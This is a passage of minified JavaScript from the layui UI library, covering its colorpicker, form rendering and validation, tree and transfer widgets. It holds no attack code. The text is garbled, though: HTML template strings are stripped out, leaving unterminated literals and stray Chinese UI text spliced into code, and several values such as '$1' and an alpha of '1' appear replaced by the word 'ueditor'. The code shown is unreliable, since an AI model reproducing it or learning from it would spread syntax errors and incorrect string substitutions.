        "].join(""));e.elemColorBox.find("."+f)[0];i(c)[0]&&i(c).data("index")==e.index?e.removePicker(D.thisElemInd):(e.removePicker(D.thisElemInd),i("body").append(t)),D.thisElemInd=e.index,D.thisColor=r.style.background,e.position(),e.pickerEvents()},D.prototype.removePicker=function(e){var o=this;o.config;return i("#layui-colorpicker"+(e||o.index)).remove(),o},D.prototype.position=function(){var e=this,i=e.config,o=e.bindElem||e.elemColorBox[0],r=e.elemPicker[0],t=o.getBoundingClientRect(),n=r.offsetWidth,l=r.offsetHeight,c=function(e){return e=e?"scrollLeft":"scrollTop",document.body[e]|document.documentElement[e]},a=function(e){return document.documentElement[e?"clientWidth":"clientHeight"]},s=5,f=t.left,d=t.bottom;f-=(n-o.offsetWidth)/2,d+=s,f+n+s>a("width")?f=a("width")-n-s:fa()&&(d=t.top>l?t.top-l:a()-l,d-=2*s),i.position&&(r.style.position=i.position),r.style.left=f+("fixed"===i.position?0:c(1))+"px",r.style.top=d+("fixed"===i.position?0:c())+"px"},D.prototype.val=function(){var e=this,i=(e.config,e.elemColorBox.find("."+f)),o=e.elemPicker.find("."+b),r=i[0],t=r.style.backgroundColor;if(t){var n=k(P(t)),l=i.attr("lay-type");if(e.select(n.h,n.s,n.b),"torgb"===l&&o.find("input").val(t),"rgba"===l){var c=P(t);if(3==(t.match(/[0-9]{1,3}/g)||[]).length)o.find("input").val("rgba("+c.r+", "+c.g+", "+c.b+", ueditor)"),e.elemPicker.find("."+h).css("left",280);else{o.find("input").val(t);var a=280*t.slice(t.lastIndexOf(",")+1,t.length-1);e.elemPicker.find("."+h).css("left",a)}e.elemPicker.find("."+v)[0].style.background="linear-gradient(to right, rgba("+c.r+", "+c.g+", "+c.b+", 0), rgb("+c.r+", "+c.g+", "+c.b+"))"}}else e.select(0,100,100),o.find("input").val(""),e.elemPicker.find("."+v)[0].style.background="",e.elemPicker.find("."+h).css("left",280)},D.prototype.side=function(){var e=this,o=e.config,r=e.elemColorBox.find("."+f),t=r.attr("lay-type"),n=e.elemPicker.find("."+u),l=e.elemPicker.find("."+p),c=e.elemPicker.find("."+g),y=e.elemPicker.find("."+m),C=e.elemPicker.find("."+v),w=e.elemPicker.find("."+h),D=l[0].offsetTop/180*360,E=100-(y[0].offsetTop+3)/180*100,H=(y[0].offsetLeft+3)/260*100,W=Math.round(w[0].offsetLeft/280*100)/100,j=e.elemColorBox.find("."+d),F=e.elemPicker.find(".layui-colorpicker-pre").children("div"),L=function(i,n,l,c){e.select(i,n,l);var f=x({h:i,s:n,b:l});if(j.addClass(a).removeClass(s),r[0].style.background="rgb("+f.r+", "+f.g+", "+f.b+")","torgb"===t&&e.elemPicker.find("."+b).find("input").val("rgb("+f.r+", "+f.g+", "+f.b+")"),"rgba"===t){var d=0;d=280*c,w.css("left",d),e.elemPicker.find("."+b).find("input").val("rgba("+f.r+", "+f.g+", "+f.b+", "+c+")"),r[0].style.background="rgba("+f.r+", "+f.g+", "+f.b+", "+c+")",C[0].style.background="linear-gradient(to right, rgba("+f.r+", "+f.g+", "+f.b+", 0), rgb("+f.r+", "+f.g+", "+f.b+"))"}o.change&&o.change(e.elemPicker.find("."+b).find("input").val())},M=i(['
        t&&(r=t);var l=r/180*360;D=l,L(l,H,E,W),e.preventDefault()};Y(r),e.preventDefault()}),n.on("click",function(e){var o=e.clientY-i(this).offset().top;o<0&&(o=0),o>this.offsetHeight&&(o=this.offsetHeight);var r=o/180*360;D=r,L(r,H,E,W),e.preventDefault()}),y.on("mousedown",function(e){var i=this.offsetTop,o=this.offsetLeft,r=e.clientY,t=e.clientX,n=function(e){var n=i+(e.clientY-r),l=o+(e.clientX-t),a=c[0].offsetHeight-3,s=c[0].offsetWidth-3;n<-3&&(n=-3),n>a&&(n=a),l<-3&&(l=-3),l>s&&(l=s);var f=(l+3)/260*100,d=100-(n+3)/180*100;E=d,H=f,L(D,f,d,W),e.preventDefault()};layui.stope(e),Y(n),e.preventDefault()}),c.on("mousedown",function(e){var o=e.clientY-i(this).offset().top-3+B.scrollTop(),r=e.clientX-i(this).offset().left-3+B.scrollLeft();o<-3&&(o=-3),o>this.offsetHeight-3&&(o=this.offsetHeight-3),r<-3&&(r=-3),r>this.offsetWidth-3&&(r=this.offsetWidth-3);var t=(r+3)/260*100,n=100-(o+3)/180*100;E=n,H=t,L(D,t,n,W),e.preventDefault(),y.trigger(e,"mousedown")}),w.on("mousedown",function(e){var i=this.offsetLeft,o=e.clientX,r=function(e){var r=i+(e.clientX-o),t=C[0].offsetWidth;r<0&&(r=0),r>t&&(r=t);var n=Math.round(r/280*100)/100;W=n,L(D,H,E,n),e.preventDefault()};Y(r),e.preventDefault()}),C.on("click",function(e){var o=e.clientX-i(this).offset().left;o<0&&(o=0),o>this.offsetWidth&&(o=this.offsetWidth);var r=Math.round(o/280*100)/100;W=r,L(D,H,E,r),e.preventDefault()}),F.each(function(){i(this).on("click",function(){i(this).parent(".layui-colorpicker-pre").addClass("selected").siblings().removeClass("selected");var e,o=this.style.backgroundColor,r=k(P(o)),t=o.slice(o.lastIndexOf(",")+1,o.length-1);D=r.h,H=r.s,E=r.b,3==(o.match(/[0-9]{1,3}/g)||[]).length&&(t=1),W=t,e=280*t,L(r.h,r.s,r.b,t)})})},D.prototype.select=function(e,i,o,r){var t=this,n=(t.config,C({h:e,s:100,b:100})),l=C({h:e,s:i,b:o}),c=e/360*180,a=180-o/100*180-3,s=i/100*260-3;t.elemPicker.find("."+p).css("top",c),t.elemPicker.find("."+g)[0].style.background="#"+n,t.elemPicker.find("."+m).css({top:a,left:s}),"change"!==r&&t.elemPicker.find("."+b).find("input").val("#"+l)},D.prototype.pickerEvents=function(){var e=this,o=e.config,r=e.elemColorBox.find("."+f),t=e.elemPicker.find("."+b+" input"),n={clear:function(i){r[0].style.background="",e.elemColorBox.find("."+d).removeClass(a).addClass(s),e.color="",o.done&&o.done(""),e.removePicker()},confirm:function(i,n){var l=t.val(),c=l,f={};if(l.indexOf(",")>-1){if(f=k(P(l)),e.select(f.h,f.s,f.b),r[0].style.background=c="#"+C(f),(l.match(/[0-9]{1,3}/g)||[]).length>3&&"rgba"===r.attr("lay-type")){var u=280*l.slice(l.lastIndexOf(",")+1,l.length-1);e.elemPicker.find("."+h).css("left",u),r[0].style.background=l,c=l}}else f=y(l),r[0].style.background=c="#"+C(f),e.elemColorBox.find("."+d).removeClass(s).addClass(a);return"change"===n?(e.select(f.h,f.s,f.b,n),void(o.change&&o.change(c))):(e.color=l,o.done&&o.done(l),void e.removePicker())}};e.elemPicker.on("click","*[colorpicker-events]",function(){var e=i(this),o=e.attr("colorpicker-events");n[o]&&n[o].call(this,e)}),t.on("keyup",function(e){var o=i(this);n.confirm.call(this,o,13===e.keyCode?null:"change")})},D.prototype.events=function(){var e=this,o=e.config,r=e.elemColorBox.find("."+f);e.elemColorBox.on("click",function(){e.renderPicker(),i(c)[0]&&(e.val(),e.side())}),o.elem[0]&&!e.elemColorBox[0].eventHandler&&(w.on("click",function(o){if(!i(o.target).hasClass(l)&&!i(o.target).parents("."+l)[0]&&!i(o.target).hasClass(c.replace(/\./g,""))&&!i(o.target).parents(c)[0]&&e.elemPicker){if(e.color){var t=k(P(e.color));e.select(t.h,t.s,t.b)}else e.elemColorBox.find("."+d).removeClass(a).addClass(s);r[0].style.background=e.color||"",e.removePicker()}}),B.on("resize",function(){return!(!e.elemPicker||!i(c)[0])&&void e.position()}),e.elemColorBox[0].eventHandler=!0)},o.render=function(e){var i=new D(e);return r.call(i)},e(t,o)});layui.define("layer",function(e){"use strict";var t=layui.$,i=layui.layer,a=layui.hint(),n=layui.device(),l="form",r=".layui-form",s="layui-this",o="layui-hide",c="layui-disabled",u=function(){this.config={verify:{required:[/[\S]+/,"必填项不能为空"],phone:[/^1\d{10}$/,"请输入正确的手机号"],email:[/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/,"邮箱格式不正确"],url:[/(^#)|(^http(s*):\/\/[^\s]+\.[^\s]+)/,"链接格式不正确"],number:function(e){if(!e||isNaN(e))return"只能填写数字"},date:[/^(\d{4})[-\/](\d{1}|0\d{1}|1[0-2])([-\/](\d{1}|0\d{1}|[1-2][0-9]|3[0-1]))*$/,"日期格式不正确"],identity:[/(^\d{15}$)|(^\d{17}(x|X|\d)$)/,"请输入正确的身份证号"]}}};u.prototype.set=function(e){var i=this;return t.extend(!0,i.config,e),i},u.prototype.verify=function(e){var i=this;return t.extend(!0,i.config.verify,e),i},u.prototype.on=function(e,t){return layui.onevent.call(this,l,e,t)},u.prototype.val=function(e,i){var a=this,n=t(r+'[lay-filter="'+e+'"]');return n.each(function(e,a){var n=t(this);layui.each(i,function(e,t){var i,a=n.find('[name="'+e+'"]');a[0]&&(i=a[0].type,"checkbox"===i?a[0].checked=t:"radio"===i?a.each(function(){this.value==t&&(this.checked=!0)}):a.val(t))})}),f.render(null,e),a.getValue(e)},u.prototype.getValue=function(e,i){i=i||t(r+'[lay-filter="'+e+'"]').eq(0);var a={},n={},l=i.find("input,select,textarea");return layui.each(l,function(e,t){if(t.name=(t.name||"").replace(/^\s*|\s*&/,""),t.name){if(/^.*\[\]$/.test(t.name)){var i=t.name.match(/^(.*)\[\]$/g)[0];a[i]=0|a[i],t.name=t.name.replace(/^(.*)\[\]$/,"$ueditor["+a[i]++ +"]")}/^checkbox|radio$/.test(t.type)&&!t.checked||(n[t.name]=t.value)}}),n},u.prototype.render=function(e,i){var n=this,u=t(r+function(){return i?'[lay-filter="'+i+'"]':""}()),d={select:function(){var e,i="请选择",a="layui-form-select",n="layui-select-title",r="layui-select-none",d="",f=u.find("select"),v=function(i,l){t(i.target).parent().hasClass(n)&&!l||(t("."+a).removeClass(a+"ed "+a+"up"),e&&d&&e.val(d)),e=null},y=function(i,u,f){var y,p=t(this),m=i.find("."+n),k=m.find("input"),g=i.find("dl"),x=g.children("dd"),b=this.selectedIndex;if(!u){var C=function(){var e=i.offset().top+i.outerHeight()+5-h.scrollTop(),t=g.outerHeight();b=p[0].selectedIndex,i.addClass(a+"ed"),x.removeClass(o),y=null,x.eq(b).addClass(s).siblings().removeClass(s),e+t>h.height()&&e>=t&&i.addClass(a+"up"),T()},w=function(e){i.removeClass(a+"ed "+a+"up"),k.blur(),y=null,e||$(k.val(),function(e){var i=p[0].selectedIndex;e&&(d=t(p[0].options[i]).html(),0===i&&d===k.attr("placeholder")&&(d=""),k.val(d||""))})},T=function(){var e=g.children("dd."+s);if(e[0]){var t=e.position().top,i=g.height(),a=e.height();t>i&&g.scrollTop(t+g.scrollTop()-i+a-5),t<0&&g.scrollTop(t+g.scrollTop()-5)}};m.on("click",function(e){i.hasClass(a+"ed")?w():(v(e,!0),C()),g.find("."+r).remove()}),m.find(".layui-edge").on("click",function(){k.focus()}),k.on("keyup",function(e){var t=e.keyCode;9===t&&C()}).on("keydown",function(e){var t=e.keyCode;9===t&&w();var i=function(t,a){var n,l;e.preventDefault();var r=function(){var e=g.children("dd."+s);if(g.children("dd."+o)[0]&&"next"===t){var i=g.children("dd:not(."+o+",."+c+")"),n=i.eq(0).index();if(n>=0&&n无匹配项

        '):g.find("."+r).remove()},"keyup"),""===t&&g.find("."+r).remove(),void T())};f&&k.on("keyup",q).on("blur",function(i){var a=p[0].selectedIndex;e=k,d=t(p[0].options[a]).html(),0===a&&d===k.attr("placeholder")&&(d=""),setTimeout(function(){$(k.val(),function(e){d||k.val("")},"blur")},200)}),x.on("click",function(){var e=t(this),a=e.attr("lay-value"),n=p.attr("lay-filter");return!e.hasClass(c)&&(e.hasClass("layui-select-tips")?k.val(""):(k.val(e.text()),e.addClass(s)),e.siblings().removeClass(s),p.val(a).removeClass("layui-form-danger"),layui.event.call(this,l,"select("+n+")",{elem:p[0],value:a,othis:i}),w(!0),!1)}),i.find("dl>dt").on("click",function(e){return!1}),t(document).off("click",v).on("click",v)}};f.each(function(e,l){var r=t(this),o=r.next("."+a),u=this.disabled,d=l.value,f=t(l.options[l.selectedIndex]),v=l.options[0];if("string"==typeof r.attr("lay-ignore"))return r.show();var h="string"==typeof r.attr("lay-search"),p=v?v.value?i:v.innerHTML||i:i,m=t(['
        ','
        ','','
        ','
        ',function(e){var t=[];return layui.each(e,function(e,a){0!==e||a.value?"optgroup"===a.tagName.toLowerCase()?t.push("
        "+a.label+"
        "):t.push('
        '+a.innerHTML+"
        "):t.push('
        '+(a.innerHTML||i)+"
        ")}),0===t.length&&t.push('
        没有选项
        '),t.join("")}(r.find("*"))+"
        ","
        "].join(""));o[0]&&o.remove(),r.after(m),y.call(this,m,u,h)})},checkbox:function(){var e={checkbox:["layui-form-checkbox","layui-form-checked","checkbox"],_switch:["layui-form-switch","layui-form-onswitch","switch"]},i=u.find("input[type=checkbox]"),a=function(e,i){var a=t(this);e.on("click",function(){var t=a.attr("lay-filter"),n=(a.attr("lay-text")||"").split("|");a[0].disabled||(a[0].checked?(a[0].checked=!1,e.removeClass(i[1]).find("em").text(n[1])):(a[0].checked=!0,e.addClass(i[1]).find("em").text(n[0])),layui.event.call(a[0],l,i[2]+"("+t+")",{elem:a[0],value:a[0].value,othis:e}))})};i.each(function(i,n){var l=t(this),r=l.attr("lay-skin"),s=(l.attr("lay-text")||"").split("|"),o=this.disabled;"switch"===r&&(r="_"+r);var u=e[r]||e.checkbox;if("string"==typeof l.attr("lay-ignore"))return l.show();var d=l.next("."+u[0]),f=t(['
        ",function(){var e=n.title.replace(/\s/g,""),t={checkbox:[e?""+n.title+"":"",''].join(""),_switch:""+((n.checked?s[0]:s[1])||"")+""};return t[r]||t.checkbox}(),"
        "].join(""));d[0]&&d.remove(),l.after(f),a.call(this,f,u)})},radio:function(){var e="layui-form-radio",i=["",""],a=u.find("input[type=radio]"),n=function(a){var n=t(this),s="layui-anim-scaleSpring";a.on("click",function(){var o=n[0].name,c=n.parents(r),u=n.attr("lay-filter"),d=c.find("input[name="+o.replace(/(\.|#|\[|\])/g,"\\$ueditor")+"]");n[0].disabled||(layui.each(d,function(){var a=t(this).next("."+e);this.checked=!1,a.removeClass(e+"ed"),a.find(".layui-icon").removeClass(s).html(i[1])}),n[0].checked=!0,a.addClass(e+"ed"),a.find(".layui-icon").addClass(s).html(i[0]),layui.event.call(n[0],l,"radio("+u+")",{elem:n[0],value:n[0].value,othis:a}))})};a.each(function(a,l){var r=t(this),s=r.next("."+e),o=this.disabled;if("string"==typeof r.attr("lay-ignore"))return r.show();s[0]&&s.remove();var u=t(['
        ',''+i[l.checked?0:1]+"","
        "+function(){var e=l.title||"";return"string"==typeof r.next().attr("lay-radio")&&(e=r.next().html(),r.next().remove()),e}()+"
        ","
        "].join(""));r.after(u),n.call(this,u)})}};return e?d[e]?d[e]():a.error("不支持的"+e+"表单渲染"):layui.each(d,function(e,t){t()}),n};var d=function(){var e=null,a=f.config.verify,s="layui-form-danger",o={},c=t(this),u=c.parents(r),d=u.find("*[lay-verify]"),v=c.parents("form")[0],h=c.attr("lay-filter");return layui.each(d,function(l,r){var o=t(this),c=o.attr("lay-verify").split("|"),u=o.attr("lay-verType"),d=o.val();if(o.removeClass(s),layui.each(c,function(t,l){var c,f="",v="function"==typeof a[l];if(a[l]){var c=v?f=a[l](d,r):!a[l][0].test(d);if(f=f||a[l][1],"required"===l&&(f=o.attr("lay-reqText")||f),c)return"tips"===u?i.tips(f,function(){return"string"==typeof o.attr("lay-ignore")||"select"!==r.tagName.toLowerCase()&&!/^checkbox|radio$/.test(r.type)?o:o.next()}(),{tips:1}):"alert"===u?i.alert(f,{title:"提示",shadeClose:!0}):/\bstring|number\b/.test(typeof f)&&i.msg(f,{icon:5,shift:6}),n.android||n.ios||setTimeout(function(){r.focus()},7),o.addClass(s),e=!0}}),e)return e}),!e&&(o=f.getValue(null,u),layui.event.call(this,l,"submit("+h+")",{elem:this,form:v,field:o}))},f=new u,v=t(document),h=t(window);f.render(),v.on("reset",r,function(){var e=t(this).attr("lay-filter");setTimeout(function(){f.render(null,e)},50)}),v.on("submit",r,d).on("click","*[lay-submit]",d),e(l,f)});layui.define("form",function(e){"use strict";var i=layui.$,a=layui.form,n=layui.layer,t="tree",r={config:{},index:layui[t]?layui[t].index+1e4:0,set:function(e){var a=this;return a.config=i.extend({},a.config,e),a},on:function(e,i){return layui.onevent.call(this,t,e,i)}},l=function(){var e=this,i=e.config,a=i.id||e.index;return l.that[a]=e,l.config[a]=i,{config:i,reload:function(i){e.reload.call(e,i)},getChecked:function(){return e.getChecked.call(e)},setChecked:function(i){return e.setChecked.call(e,i)}}},c="layui-hide",d="layui-disabled",s="layui-tree-set",o="layui-tree-iconClick",h="layui-icon-addition",u="layui-icon-subtraction",p="layui-tree-entry",f="layui-tree-main",y="layui-tree-txt",v="layui-tree-pack",C="layui-tree-spread",k="layui-tree-setLineShort",m="layui-tree-showLine",x="layui-tree-lineExtend",b=function(e){var a=this;a.index=++r.index,a.config=i.extend({},a.config,r.config,e),a.render()};b.prototype.config={data:[],showCheckbox:!1,showLine:!0,accordion:!1,onlyIconControl:!1,isJump:!1,edit:!1,text:{defaultNodeName:"未命名",none:"无数据"}},b.prototype.reload=function(e){var a=this;layui.each(e,function(e,i){i.constructor===Array&&delete a.config[e]}),a.config=i.extend(!0,{},a.config,e),a.render()},b.prototype.render=function(){var e=this,a=e.config;e.checkids=[];var n=i('
        ');e.tree(n);var t=a.elem=i(a.elem);if(t[0]){if(e.key=a.id||e.index,e.elem=n,e.elemNone=i('
        '+a.text.none+"
        "),t.html(e.elem),0==e.elem.find(".layui-tree-set").length)return e.elem.append(e.elemNone);a.showCheckbox&&e.renderForm("checkbox"),e.elem.find(".layui-tree-set").each(function(){var e=i(this);e.parent(".layui-tree-pack")[0]||e.addClass("layui-tree-setHide"),!e.next()[0]&&e.parents(".layui-tree-pack").eq(1).hasClass("layui-tree-lineExtend")&&e.addClass(k),e.next()[0]||e.parents(".layui-tree-set").eq(0).next()[0]||e.addClass(k)}),e.events()}},b.prototype.renderForm=function(e){a.render(e,"LAY-tree-"+this.index)},b.prototype.tree=function(e,a){var n=this,t=n.config,r=a||t.data;layui.each(r,function(a,r){var l=r.children&&r.children.length>0,o=i('
        "),h=i(['
        ','
        ','
        ',function(){return t.showLine?l?'':'':''}(),function(){return t.showCheckbox?'':""}(),function(){return t.isJump&&r.href?''+(r.title||r.label||t.text.defaultNodeName)+"":''+(r.title||r.label||t.text.defaultNodeName)+""}(),"
        ",function(){if(!t.edit)return"";var e={add:'',update:'',del:''},i=['
        '];return t.edit===!0&&(t.edit=["update","del"]),"object"==typeof t.edit?(layui.each(t.edit,function(a,n){i.push(e[n]||"")}),i.join("")+"
        "):void 0}(),"
        "].join(""));l&&(h.append(o),n.tree(o,r.children)),e.append(h),h.prev("."+s)[0]&&h.prev().children(".layui-tree-pack").addClass("layui-tree-showLine"),l||h.parent(".layui-tree-pack").addClass("layui-tree-lineExtend"),n.spread(h,r),t.showCheckbox&&(r.checked&&n.checkids.push(r.id),n.checkClick(h,r)),t.edit&&n.operate(h,r)})},b.prototype.spread=function(e,a){var n=this,t=n.config,r=e.children("."+p),l=r.children("."+f),c=r.find("."+o),k=r.find("."+y),m=t.onlyIconControl?c:l,x="";m.on("click",function(i){var a=e.children("."+v),n=m.children(".layui-icon")[0]?m.children(".layui-icon"):m.find(".layui-tree-icon").children(".layui-icon");if(a[0]){if(e.hasClass(C))e.removeClass(C),a.slideUp(200),n.removeClass(u).addClass(h);else if(e.addClass(C),a.slideDown(200),n.addClass(u).removeClass(h),t.accordion){var r=e.siblings("."+s);r.removeClass(C),r.children("."+v).slideUp(200),r.find(".layui-tree-icon").children(".layui-icon").removeClass(u).addClass(h)}}else x="normal"}),k.on("click",function(){var n=i(this);n.hasClass(d)||(x=e.hasClass(C)?t.onlyIconControl?"open":"close":t.onlyIconControl?"close":"open",t.click&&t.click({elem:e,state:x,data:a}))})},b.prototype.setCheckbox=function(e,i,a){var n=this,t=(n.config,a.prop("checked"));if(!a.prop("disabled")){if("object"==typeof i.children||e.find("."+v)[0]){var r=e.find("."+v).find('input[same="layuiTreeCheck"]');r.each(function(){this.disabled||(this.checked=t)})}var l=function(e){if(e.parents("."+s)[0]){var i,a=e.parent("."+v),n=a.parent(),r=a.prev().find('input[same="layuiTreeCheck"]');t?r.prop("checked",t):(a.find('input[same="layuiTreeCheck"]').each(function(){this.checked&&(i=!0)}),i||r.prop("checked",!1)),l(n)}};l(e),n.renderForm("checkbox")}},b.prototype.checkClick=function(e,a){var n=this,t=n.config,r=e.children("."+p),l=r.children("."+f);l.on("click",'input[same="layuiTreeCheck"]+',function(r){layui.stope(r);var l=i(this).prev(),c=l.prop("checked");l.prop("disabled")||(n.setCheckbox(e,a,l),t.oncheck&&t.oncheck({elem:e,checked:c,data:a}))})},b.prototype.operate=function(e,a){var t=this,r=t.config,l=e.children("."+p),d=l.children("."+f);l.children(".layui-tree-btnGroup").on("click",".layui-icon",function(l){layui.stope(l);var f=i(this).data("type"),b=e.children("."+v),g={data:a,type:f,elem:e};if("add"==f){b[0]||(r.showLine?(d.find("."+o).addClass("layui-tree-icon"),d.find("."+o).children(".layui-icon").addClass(h).removeClass("layui-icon-file")):d.find(".layui-tree-iconArrow").removeClass(c),e.append('
        '));var w=r.operate&&r.operate(g),N={};if(N.title=r.text.defaultNodeName,N.id=w,t.tree(e.children("."+v),[N]),r.showLine)if(b[0])b.hasClass(x)||b.addClass(x),e.find("."+v).each(function(){i(this).children("."+s).last().addClass(k)}),b.children("."+s).last().prev().hasClass(k)?b.children("."+s).last().prev().removeClass(k):b.children("."+s).last().removeClass(k),!e.parent("."+v)[0]&&e.next()[0]&&b.children("."+s).last().removeClass(k);else{var T=e.siblings("."+s),L=1,A=e.parent("."+v);layui.each(T,function(e,a){i(a).children("."+v)[0]||(L=0)}),1==L?(T.children("."+v).addClass(m),T.children("."+v).children("."+s).removeClass(k),e.children("."+v).addClass(m),A.removeClass(x),A.children("."+s).last().children("."+v).children("."+s).last().addClass(k)):e.children("."+v).children("."+s).addClass(k)}if(!r.showCheckbox)return;if(d.find('input[same="layuiTreeCheck"]')[0].checked){var I=e.children("."+v).children("."+s).last();I.find('input[same="layuiTreeCheck"]')[0].checked=!0}t.renderForm("checkbox")}else if("update"==f){var F=d.children("."+y).html();d.children("."+y).html(""),d.append(''),d.children(".layui-tree-editInput").val(F).focus();var j=function(e){var i=e.val().trim();i=i?i:r.text.defaultNodeName,e.remove(),d.children("."+y).html(i),g.data.title=i,r.operate&&r.operate(g)};d.children(".layui-tree-editInput").blur(function(){j(i(this))}),d.children(".layui-tree-editInput").on("keydown",function(e){13===e.keyCode&&(e.preventDefault(),j(i(this)))})}else n.confirm('确认删除该节点 "'+(a.title||"")+'" 吗?',function(a){if(r.operate&&r.operate(g),g.status="remove",n.close(a),!e.prev("."+s)[0]&&!e.next("."+s)[0]&&!e.parent("."+v)[0])return e.remove(),void t.elem.append(t.elemNone);if(e.siblings("."+s).children("."+p)[0]){if(r.showCheckbox){var l=function(e){if(e.parents("."+s)[0]){var a=e.siblings("."+s).children("."+p),n=e.parent("."+v).prev(),r=n.find('input[same="layuiTreeCheck"]')[0],c=1,d=0;0==r.checked&&(a.each(function(e,a){var n=i(a).find('input[same="layuiTreeCheck"]')[0];0!=n.checked||n.disabled||(c=0),n.disabled||(d=1)}),1==c&&1==d&&(r.checked=!0,t.renderForm("checkbox"),l(n.parent("."+s))))}};l(e)}if(r.showLine){var d=e.siblings("."+s),h=1,f=e.parent("."+v);layui.each(d,function(e,a){i(a).children("."+v)[0]||(h=0)}),1==h?(b[0]||(f.removeClass(x),d.children("."+v).addClass(m),d.children("."+v).children("."+s).removeClass(k)),e.next()[0]?f.children("."+s).last().children("."+v).children("."+s).last().addClass(k):e.prev().children("."+v).children("."+s).last().addClass(k),e.next()[0]||e.parents("."+s)[1]||e.parents("."+s).eq(0).next()[0]||e.prev("."+s).addClass(k)):!e.next()[0]&&e.hasClass(k)&&e.prev().addClass(k)}}else{var y=e.parent("."+v).prev();if(r.showLine){y.find("."+o).removeClass("layui-tree-icon"),y.find("."+o).children(".layui-icon").removeClass(u).addClass("layui-icon-file");var w=y.parents("."+v).eq(0);w.addClass(x),w.children("."+s).each(function(){i(this).children("."+v).children("."+s).last().addClass(k)})}else y.find(".layui-tree-iconArrow").addClass(c);e.parents("."+s).eq(0).removeClass(C),e.parent("."+v).remove()}e.remove()})})},b.prototype.events=function(){var e=this,a=e.config;e.elem.find(".layui-tree-checkedFirst");e.setChecked(e.checkids),e.elem.find(".layui-tree-search").on("keyup",function(){var n=i(this),t=n.val(),r=n.nextAll(),l=[];r.find("."+y).each(function(){var e=i(this).parents("."+p);if(i(this).html().indexOf(t)!=-1){l.push(i(this).parent());var a=function(e){e.addClass("layui-tree-searchShow"),e.parent("."+v)[0]&&a(e.parent("."+v).parent("."+s))};a(e.parent("."+s))}}),r.find("."+p).each(function(){var e=i(this).parent("."+s);e.hasClass("layui-tree-searchShow")||e.addClass(c)}),0==r.find(".layui-tree-searchShow").length&&e.elem.append(e.elemNone),a.onsearch&&a.onsearch({elem:l})}),e.elem.find(".layui-tree-search").on("keydown",function(){i(this).nextAll().find("."+p).each(function(){var e=i(this).parent("."+s);e.removeClass("layui-tree-searchShow "+c)}),i(".layui-tree-emptyText")[0]&&i(".layui-tree-emptyText").remove()})},b.prototype.getChecked=function(){var e=this,a=e.config,n=[],t=[];e.elem.find(".layui-form-checked").each(function(){n.push(i(this).prev()[0].value)});var r=function(e,a){layui.each(e,function(e,t){layui.each(n,function(e,n){if(t.id==n){var l=i.extend({},t);return delete l.children,a.push(l),t.children&&(l.children=[],r(t.children,l.children)),!0}})})};return r(i.extend({},a.data),t),t},b.prototype.setChecked=function(e){var a=this;a.config;a.elem.find("."+s).each(function(a,n){var t=i(this).data("id"),r=i(n).children("."+p).find('input[same="layuiTreeCheck"]'),l=r.next();if("number"==typeof e){if(t==e)return r[0].checked||l.click(),!1}else"object"==typeof e&&layui.each(e,function(e,i){if(i==t&&!r[0].checked)return l.click(),!0})})},l.that={},l.config={},r.reload=function(e,i){var a=l.that[e];return a.reload(i),l.call(a)},r.getChecked=function(e){var i=l.that[e];return i.getChecked()},r.setChecked=function(e,i){var a=l.that[e];return a.setChecked(i)},r.render=function(e){var i=new b(e);return l.call(i)},e(t,r)});layui.define(["laytpl","form"],function(e){"use strict";var a=layui.$,t=layui.laytpl,i=layui.form,n="transfer",l={config:{},index:layui[n]?layui[n].index+1e4:0,set:function(e){var t=this;return t.config=a.extend({},t.config,e),t},on:function(e,a){return layui.onevent.call(this,n,e,a)}},r=function(){var e=this,a=e.config,t=a.id||e.index;return r.that[t]=e,r.config[t]=a,{config:a,reload:function(a){e.reload.call(e,a)},getData:function(){return e.getData.call(e)}}},c="layui-hide",o="layui-btn-disabled",d="layui-none",s="layui-transfer-box",u="layui-transfer-header",h="layui-transfer-search",f="layui-transfer-active",y="layui-transfer-data",p=function(e){return e=e||{},['
        ','
        ','","
        ","{{# if(d.data.showSearch){ }}",'","{{# } }}",'
          ',"
          "].join("")},v=['
          ',p({index:0,checkAllName:"layTransferLeftCheckAll"}),'
          ','",'","
          ",p({index:1,checkAllName:"layTransferRightCheckAll"}),"
          "].join(""),x=function(e){var t=this;t.index=++l.index,t.config=a.extend({},t.config,l.config,e),t.render()};x.prototype.config={title:["列表一","列表二"],width:200,height:360,data:[],value:[],showSearch:!1,id:"",text:{none:"无数据",searchNone:"无匹配数据"}},x.prototype.reload=function(e){var t=this;t.config=a.extend({},t.config,e),t.render()},x.prototype.render=function(){var e=this,i=e.config,n=e.elem=a(t(v).render({data:i,index:e.index})),l=i.elem=a(i.elem);l[0]&&(i.data=i.data||[],i.value=i.value||[],e.key=i.id||e.index,l.html(e.elem),e.layBox=e.elem.find("."+s),e.layHeader=e.elem.find("."+u),e.laySearch=e.elem.find("."+h),e.layData=n.find("."+y),e.layBtn=n.find("."+f+" .layui-btn"),e.layBox.css({width:i.width,height:i.height}),e.layData.css({height:function(){return i.height-e.layHeader.outerHeight()-e.laySearch.outerHeight()-2}()}),e.renderData(),e.events())},x.prototype.renderData=function(){var e=this,a=(e.config,[{checkName:"layTransferLeftCheck",views:[]},{checkName:"layTransferRightCheck",views:[]}]);e.parseData(function(e){var t=e.selected?1:0,i=["
        • ",'',"
        • "].join("");a[t].views.push(i),delete e.selected}),e.layData.eq(0).html(a[0].views.join("")),e.layData.eq(1).html(a[1].views.join("")),e.renderCheckBtn()},x.prototype.renderForm=function(e){i.render(e,"LAY-transfer-"+this.index)},x.prototype.renderCheckBtn=function(e){var t=this,i=t.config;e=e||{},t.layBox.each(function(n){var l=a(this),r=l.find("."+y),d=l.find("."+u).find('input[type="checkbox"]'),s=r.find('input[type="checkbox"]'),h=0,f=!1;if(s.each(function(){var e=a(this).data("hide");(this.checked||this.disabled||e)&&h++,this.checked&&!e&&(f=!0)}),d.prop("checked",f&&h===s.length),t.layBtn.eq(n)[f?"removeClass":"addClass"](o),!e.stopNone){var p=r.children("li:not(."+c+")").length;t.noneView(r,p?"":i.text.none)}}),t.renderForm("checkbox")},x.prototype.noneView=function(e,t){var i=a('

          '+(t||"")+"

